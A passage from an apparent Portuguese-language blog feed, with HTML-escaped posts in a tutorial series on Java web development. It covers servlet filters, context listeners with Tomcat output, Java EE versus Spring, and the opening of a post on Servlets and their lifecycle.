punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

        chain&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;doFilter&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;request&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; response&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Com o uso da &lt;em&gt;annotation&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;WebFilter&lt;/code&gt;, dizemos que queremos aplicar o filtro para todas as requisições (&lt;code class=&quot;language-text&quot;&gt;/*&lt;/code&gt;). A &lt;em&gt;annotation&lt;/em&gt; também é responsável por não precisarmos tocar no arquivo &lt;code class=&quot;language-text&quot;&gt;web.xml&lt;/code&gt;, e temos o filtro funcionando a partir do momento que reiniciamos o &lt;em&gt;Tomcat&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Com &lt;code class=&quot;language-text&quot;&gt;Filter&lt;/code&gt; agora temos a capacidade de aplicar de uma maneira mais modular conceitos como &lt;a href=&quot;/2012/05/14/o-cache-e-o-http.html&quot; title=&quot;O cache e o HTTP&quot;&gt;&lt;em&gt;cache&lt;/em&gt;&lt;/a&gt;, compactação da
resposta, controle de sessão, &lt;a href=&quot;/2012/04/15/problemas-de-seguranca-em-aplicacoes-web.html&quot; title=&quot;Problemas comuns em aplicações web&quot;&gt;segurança&lt;/a&gt;, entre outros.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/recursos-importantes-filtros/&quot; title=&quot;Recursos importantes: Filtros&quot;&gt;Leia mais sobre filtros na apostila de desenvolvimento &lt;em&gt;web&lt;/em&gt; em &lt;em&gt;Java&lt;/em&gt;, da &lt;em&gt;Caelum&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Listeners&lt;/h3&gt;
&lt;p&gt;A necessidade de filtros fica bem evidente, principalmente quando estamos acostumados com &lt;a href=&quot;https://www.profissionaisti.com.br/2009/04/entendendo-o-django/&quot; title=&quot;Entendendo o Django&quot;&gt;estruturas como a do &lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;.
Possivelmente a necessidade dos &lt;em&gt;listeners&lt;/em&gt; exija um pouco mais de criatividade de nossa parte. O &lt;a href=&quot;https://www.javatpoint.com/ServletContextEvent&quot; title=&quot;ServletContextEvent and ServletContextListener&quot;&gt;&lt;em&gt;JavaTPoint&lt;/em&gt; pode ajudar&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you want to perform some action at the time of deploying the web application such as creating database connection,
creating all the tables of the project etc, you need to implement ServletContextListener interface and provide the
implementation of its methods.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Perfeito! Para ilustrar como interagir com os (&lt;em&gt;context&lt;/em&gt;) &lt;em&gt;listeners&lt;/em&gt;, temos o código abaixo:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;java&quot;&gt;&lt;pre class=&quot;language-java&quot;&gt;&lt;code class=&quot;language-java&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// src/main/java/webapp/MyListener.java&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;package&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;webapp&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletContextEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletContextListener&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token namespace&quot;&gt;javax&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;servlet&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;annotation&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;WebListener&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;token annotation punctuation&quot;&gt;@WebListener&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;MyListener&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;implements&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;ServletContextListener&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;contextInitialized&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletContextEvent&lt;/span&gt; sce&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Imagine que estamos setando um pool de conexões com o banco de dados&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;

    &lt;span class=&quot;token annotation punctuation&quot;&gt;@Override&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;contextDestroyed&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token class-name&quot;&gt;ServletContextEvent&lt;/span&gt; sce&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token class-name&quot;&gt;System&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;out&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;println&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;Imagine que estamos fechando o pool de conexões com o banco de dados&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ao iniciar a aplicação, temos:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ mvn tomcat7:run
[INFO] Scanning for projects...
(...)
INFO: Starting Servlet Engine: Apache Tomcat/7.0.47
Imagine que estamos setando um pool de conexões com o banco de dados&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E quando finalizamos a aplicação:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;Imagine que estamos fechando o pool de conexões com o banco de dados&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;E além de fechar o &lt;em&gt;pool&lt;/em&gt; de conexões, fechamos também a parte de &lt;em&gt;Servlets&lt;/em&gt; dessa série. Fica uma clara impressão de
que grande parte do que precisamos para desenvolver uma plataforma &lt;em&gt;web&lt;/em&gt; já é oferecida pela versão atual do
&lt;em&gt;Java Enterprise Edition&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/apendice-topicos-da-servlet-api/#context-listener&quot; title=&quot;Context Listener&quot;&gt;Leia mais sobre context listener na apostilia de desenvolvimento &lt;em&gt;web&lt;/em&gt; em &lt;em&gt;Java&lt;/em&gt;, da &lt;em&gt;Caelum&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Antes de ir: O lado &quot;agente Smith&quot; da força&lt;/h2&gt;
&lt;p&gt;E aqui chegamos ao fim dessa nossa saga cobrindo aspectos do &lt;em&gt;Java EE&lt;/em&gt;. Ainda que faltem tópicos considerados relevantes, como o
&lt;a href=&quot;https://docs.oracle.com/javaee/7/api/javax/ejb/package-summary.html&quot; title=&quot;Enterprise JavaBeans&quot;&gt;&lt;em&gt;EJB&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://www.oracle.com/technetwork/java/javaee/javaserverfaces-139869.html&quot; title=&quot;JavaServer Faces&quot;&gt;&lt;em&gt;JSF&lt;/em&gt;&lt;/a&gt;
ou &lt;a href=&quot;https://www.oracle.com/technetwork/java/javaee/tech/persistence-jsp-140049.html&quot; title=&quot;Java Persistence API&quot;&gt;&lt;em&gt;JPA&lt;/em&gt;&lt;/a&gt;,
cobrimos outros tantos que fazem parte da especificação.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/3a5585aa415ad19483f8d2da4dfbe857/07f3a/agent-smith.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 50%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAKABQDASIAAhEBAxEB/8QAFwAAAwEAAAAAAAAAAAAAAAAAAAIDBP/EABYBAQEBAAAAAAAAAAAAAAAAAAEAAv/aAAwDAQACEAMQAAAByrOhliRH/8QAHBAAAQMFAAAAAAAAAAAAAAAAAgABAxIhIjNB/9oACAEBAAEFAjlxZ7yHUZ62Xf/EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQMBAT8BP//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAACARARYf/aAAgBAQAGPwJeQaaLf//EABoQAQEAAgMAAAAAAAAAAAAAAAEAITERUaH/2gAIAQEAAT8h5MeeyZAdszrF5rZna//aAAwDAQACAAMAAAAQqD//xAAVEQEBAAAAAAAAAAAAAAAAAAAQQf/aAAgBAwEBPxCH/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPxA//8QAHBABAQACAgMAAAAAAAAAAAAAAREAMXGhIbHw/9oACAEBAAE/EGoigmzXPGsrBy22hODOq9uEACBrrPpxn//Z&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Agente Smith em The Matrix&quot;
        title=&quot;Seja a resistência! Lute contra os engravatados (antagonist.wikia.com)&quot;
        src=&quot;/static/3a5585aa415ad19483f8d2da4dfbe857/07f3a/agent-smith.jpg&quot;
        srcset=&quot;/static/3a5585aa415ad19483f8d2da4dfbe857/7809d/agent-smith.jpg 192w,
/static/3a5585aa415ad19483f8d2da4dfbe857/4ecad/agent-smith.jpg 384w,
/static/3a5585aa415ad19483f8d2da4dfbe857/07f3a/agent-smith.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Seja a resistência! Lute contra os engravatados (antagonist.wikia.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Especificação essa que, além de ter como proposta proporcionar tecnologias para um ambiente mais &lt;em&gt;enterprise&lt;/em&gt;, possui outras vantagens,
como por exemplo, a premissa de evitar o &lt;em&gt;vendor lock-in&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas ao contrário do que você possa pensar, e do que eu acreditava até pouco tempo atrás, não seguir essas especificações é uma possibilidade.
De fato, algumas comunidades vem desafiando essas &quot;regras&quot; e apresentando soluções elegantes e inovadoras dentro do ecossistema &lt;em&gt;Java&lt;/em&gt; desde
muito tempo. &lt;a href=&quot;https://docs.spring.io/spring/docs/current/spring-framework-reference/overview.html#overview-history&quot; title=&quot;History of Spring and the Spring Framework&quot;&gt;Talvez a mais relevante delas sendo a do &lt;em&gt;Spring&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Spring came into being in 2003 as a response to the complexity of the early J2EE specifications. While some consider
Java EE and Spring to be in competition, Spring is, in fact, complementary to Java EE. The Spring programming model
does not embrace the Java EE platform specification; rather, it integrates with carefully selected individual
specifications from the EE umbrella.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Inclusive, em um mundo cada vez mais &quot;microservices-driven&quot;, seguir completamente essas especificações torna-se questionável,
como ilustra &lt;em&gt;Rod Johnson&lt;/em&gt; em sua palestra &lt;a href=&quot;https://www.infoq.com/presentations/principles-successful-frameworks/&quot; title=&quot;Assista no InfoQ&quot;&gt;&lt;em&gt;Eighteen Years of Spring&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;E é com o &lt;em&gt;Spring&lt;/em&gt; que no próximo artigo experimentaremos esse lado &quot;rebelde&quot; e, sem dúvida, mais divertido, do desenvolvimento &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; com &lt;em&gt;Java&lt;/em&gt;.
Mas se você quiser continuar em um ambiente mais &lt;em&gt;enterprise&lt;/em&gt;: &lt;a href=&quot;https://en.wikipedia.org/wiki/GlassFish&quot; title=&quot;Open-source application server&quot;&gt;&lt;em&gt;Glassfish&lt;/em&gt;&lt;/a&gt;, &lt;a href=&quot;https://en.wikipedia.org/wiki/WildFly&quot; title=&quot;Antigo JBoss&quot;&gt;&lt;em&gt;WildFly&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://en.wikipedia.org/wiki/Apache_Geronimo&quot; title=&quot;Application server fornecido pela Apache Foundation&quot;&gt;&lt;em&gt;Geronimo&lt;/em&gt;&lt;/a&gt;; podem ser os próximos passos.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;E mais uma vez, embora possa ser tentador cair na discussão &quot;Spring x Java EE&quot;, &lt;em&gt;Siva Prasad&lt;/em&gt;
deixa essa pérola no artigo &lt;a href=&quot;https://dzone.com/articles/developers-perspective-spring&quot; title=&quot;Leia o artigo na íntegra&quot;&gt;&quot;A developer&apos;s perspective on Spring vs. Java EE&quot;&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;As an enthusiastic Java developer I read the Spring vs JavaEE discussions hoping there might be few things which I
don&apos;t know such as &quot;in which areas one is better than the other&quot;. But I find 70% of discussions goes on lame
arguments which is not very interesting to me.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ter uma noção de como funciona a plataforma &lt;em&gt;EE&lt;/em&gt; do &lt;em&gt;Java&lt;/em&gt; é benéfico, embora eu admita que não seja lá muito divertido.&lt;/p&gt;
&lt;p&gt;Até a próxima.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/servlets/&quot;&gt;Caelum: Apostila Java para Desenvolvimento Web - Servlets&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.concretepage.com/java-ee/jsp-servlet/weblistener-annotation-example-in-servlet-3-with-servletcontextlistener&quot;&gt;ConcretePage: @WebListener Annotation Example in Servlet 3 with ServletContextListener&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.dineshonjava.com/what-is-dispatcherservlet-in-spring-and-its-uses/&quot;&gt;Dinesh on Java: What is the DispatcherServlet in Spring and its uses?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://dzone.com/articles/developers-perspective-spring&quot;&gt;DZone: A Developer&apos;s Perspective on Spring vs. JavaEE&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.infoq.com/presentations/principles-successful-frameworks/&quot;&gt;InfoQ: Eighteen Years of Spring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.javatpoint.com/ServletContextEvent&quot;&gt;JavaTPoint: ServletContextEvent and ServletContextListener&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.spring.io/spring/docs/current/spring-framework-reference/overview.html#overview-history&quot;&gt;Spring: Spring Framework Overview&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/4720942/difference-between-filter-and-listener-in-servlet-java-ee&quot;&gt;StackOverflow: Difference between Filter and Listener in Servlet (Java EE)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/15774924/just-what-is-java-ee-really&quot;&gt;StackOverflow: Just what is Java EE really?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/9555842/why-servlets-are-not-thread-safe&quot;&gt;StackOverflow: Why Servlets are not thread safe?&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Engatinhando em Java para a web - Parte 2]]></title><description><![CDATA[No post anterior demos uma breve pincelada sobre JDK, JRE, JSE e JEE. Uma vez que temos a infrastrutura funcionando para os fins desse…]]></description><link>https://klauslaube.com.br/2019/12/02/engatinhando-em-java-web-parte-2.html</link><guid isPermaLink="false">https://klauslaube.com.br/2019/12/02/engatinhando-em-java-web-parte-2.html</guid><pubDate>Mon, 02 Dec 2019 09:15:00 GMT</pubDate><content:encoded>&lt;p&gt;No &lt;a href=&quot;/2019/11/28/engatinhando-em-java-web-parte-1.html&quot; title=&quot;Engatinhando em Java para a web - Parte 1&quot;&gt;&lt;em&gt;post&lt;/em&gt; anterior&lt;/a&gt; demos uma breve pincelada sobre &lt;em&gt;JDK&lt;/em&gt;, &lt;em&gt;JRE&lt;/em&gt;, &lt;em&gt;JSE&lt;/em&gt; e &lt;em&gt;JEE&lt;/em&gt;. Uma vez que temos a infrastrutura funcionando para os fins desse artigo, através do uso de &lt;em&gt;Maven&lt;/em&gt; e &lt;em&gt;Tomcat&lt;/em&gt;, vamos partir para uma abordagem mais prática, e finalmente falar sobre os famosos &lt;em&gt;Servlets&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Mas antes de continuar, um breve &lt;em&gt;disclaimer&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;Disclaimer&lt;/h2&gt;
&lt;p&gt;Recebi alguns &lt;em&gt;feedbacks&lt;/em&gt; sobre o artigo anterior, questionando sobre a abordagem em relação a &lt;em&gt;Servlets&lt;/em&gt;, &lt;em&gt;JavaServer Pages&lt;/em&gt; e até mesmo ao &lt;em&gt;Tomcat&lt;/em&gt; e &lt;em&gt;Maven&lt;/em&gt;. Existem escolhas mais &quot;sexy&quot; (principalmente aos três últimos citados), e que em relação ao &lt;em&gt;Servlets&lt;/em&gt; a escolha mais natural seria a adoção de algum &lt;em&gt;framework&lt;/em&gt; que abstraia todo esse &quot;javanês&quot; (como &lt;a href=&quot;https://spring.io/projects/spring-boot&quot; title=&quot;Página oficial do Spring Boot&quot;&gt;&lt;em&gt;SpringBoot&lt;/em&gt;&lt;/a&gt; ou &lt;a href=&quot;https://www.playframework.com/&quot; title=&quot;Página oficial do projeto Play&quot;&gt;&lt;em&gt;Play&lt;/em&gt;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 740px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/277cc08620aecf452de7fdf9603d5dc7/07f3a/java-saruman.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 58.854166666666664%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAMABQDASIAAhEBAxEB/8QAGAAAAwEBAAAAAAAAAAAAAAAAAAQFAQP/xAAWAQEBAQAAAAAAAAAAAAAAAAACAQP/2gAMAwEAAhADEAAAAWukprNUzSn/xAAaEAACAwEBAAAAAAAAAAAAAAABAwACERIx/9oACAEBAAEFArurWIZ0Njhjh6Z//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAwEBPwE//8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGhABAAEFAAAAAAAAAAAAAAAAARAAERIiUf/aAAgBAQAGPwLEdqbwh2f/xAAbEAEAAgIDAAAAAAAAAAAAAAABACERMRBBYf/aAAgBAQABPyFZRhWu4odxr2LzMhELblKcP//aAAwDAQACAAMAAAAQwz//xAAWEQEBAQAAAAAAAAAAAAAAAAARECH/2gAIAQMBAT8QDJ//xAAWEQEBAQAAAAAAAAAAAAAAAAABEEH/2gAIAQIBAT8QXZ//xAAaEAEAAwEBAQAAAAAAAAAAAAABABExQVGB/9oACAEBAAE/EGFGoDR6Ly43GezSPvkbqpy5qdOxXuhEgtHqCz//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;Saruman em O Senhor dos Anéis&quot;
        title=&quot;Continuamos a trair o movimento assim como o Saruman fez em LOTR (sott.net)&quot;
        src=&quot;/static/277cc08620aecf452de7fdf9603d5dc7/07f3a/java-saruman.jpg&quot;
        srcset=&quot;/static/277cc08620aecf452de7fdf9603d5dc7/7809d/java-saruman.jpg 192w,
/static/277cc08620aecf452de7fdf9603d5dc7/4ecad/java-saruman.jpg 384w,
/static/277cc08620aecf452de7fdf9603d5dc7/07f3a/java-saruman.jpg 740w&quot;
        sizes=&quot;(max-width: 740px) 100vw, 740px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Continuamos a trair o movimento assim como o Saruman fez em LOTR (sott.net)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;A narrativa dessa série de artigos tem justamente a intenção de ilustrar que em um primeiro momento, &lt;a href=&quot;/tag/java.html&quot; title=&quot;Leia mais sobre Java&quot;&gt;&lt;em&gt;Java&lt;/em&gt;&lt;/a&gt; para &lt;a href=&quot;/tag/desenvolvimento-web.html&quot; title=&quot;Leia mais sobre web&quot;&gt;&lt;em&gt;web&lt;/em&gt;&lt;/a&gt; pode parecer obsoleto, mas que com o progredir dos &lt;em&gt;posts&lt;/em&gt; novas tecnologias serão apresentadas e que por fim, é possível sim ter um ambiente deveras moderno e prático.&lt;/p&gt;
&lt;p&gt;Estamos &quot;engatinhando&quot;, afinal...&lt;/p&gt;
&lt;p&gt;Obrigado pelos &lt;em&gt;feedbacks&lt;/em&gt; :)&lt;/p&gt;
&lt;h2&gt;Servlets&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Servlet&lt;/em&gt; pode ser comparado ao &lt;a href=&quot;/2012/11/02/entendendo-o-cgi-fastcgi-e-wsgi.html&quot; title=&quot;Entendendo o CGI&quot;&gt;&lt;em&gt;Common Gateway Interface&lt;/em&gt;&lt;/a&gt; (&lt;em&gt;CGI&lt;/em&gt;), onde há um &quot;acordo&quot; o servidor &lt;em&gt;web&lt;/em&gt; ou de aplicação, e a sua aplicação. As definições podem vir das mais variadas formas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;É uma tecnologia usada para a criação de aplicações &lt;em&gt;web&lt;/em&gt; em &lt;em&gt;Java&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;É uma &lt;em&gt;API&lt;/em&gt; que disponibiliza classes, interfaces e documentação necessárias para tal operação.&lt;/li&gt;
&lt;li&gt;É uma classe que estende as capacidades de servidores e reage à requisições (de qualquer tipo).&lt;/li&gt;
&lt;li&gt;É um componente &lt;em&gt;web&lt;/em&gt; que cria páginas dinâmicas para a &lt;em&gt;web&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Mas talvez a melhor definição venha (novamente) da &lt;a href=&quot;https://www.caelum.com.br/apostila-java-web/servlets/&quot; title=&quot;Capítulo 5 - Servlets&quot;&gt;apostila de &lt;em&gt;Java&lt;/em&gt; para &lt;em&gt;web&lt;/em&gt;&lt;/a&gt; da &lt;em&gt;Caelum&lt;/em&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Uma primeira ideia da servlet seria que cada uma delas é responsável por uma página, sendo que ela lê dados da requisição do cliente e responde com outros dados (uma página HTML, uma imagem GIF etc). Como no Java tentamos sempre que possível trabalhar orientado a objetos, nada mais natural que uma servlet seja representada como um objeto a partir de uma classe Java.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;em&gt;Neha Vaidya&lt;/em&gt; descreve de forma simples e didática o ciclo de vida de um &lt;em&gt;servlet&lt;/em&gt; em uma &lt;a href=&quot;https://www.quora.com/What-is-servlet/answer/Neha-Vaidya-24&quot; title=&quot;What is servlet?&quot;&gt;&lt;em&gt;thread&lt;/em&gt; do &lt;em&gt;Quora&lt;/em&gt;&lt;/a&gt;, no qual vou traduzir abaixo:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Quando o servidor &lt;em&gt;web&lt;/em&gt; (ex.: &lt;em&gt;Apache Tomcat&lt;/em&gt;) inicia, o &lt;em&gt;servlet container&lt;/em&gt; &quot;deploia&quot; e carrega todos os &lt;em&gt;Servlets&lt;/em&gt;;&lt;/li&gt;
&lt;li&gt;O &lt;em&gt;servlet&lt;/em&gt; é inicializado chamando o método &lt;code class=&quot;language-text&quot;&gt;init()&lt;/code&gt;. O método &lt;code class=&quot;language-text&quot;&gt;Servlet.init()&lt;/code&gt; é chamado pelo &lt;em&gt;servlet container&lt;/em&gt; para indicar que essa &lt;em&gt;servlet instance&lt;/em&gt; foi iniciada com sucesso e está pronta para responder;&lt;/li&gt;
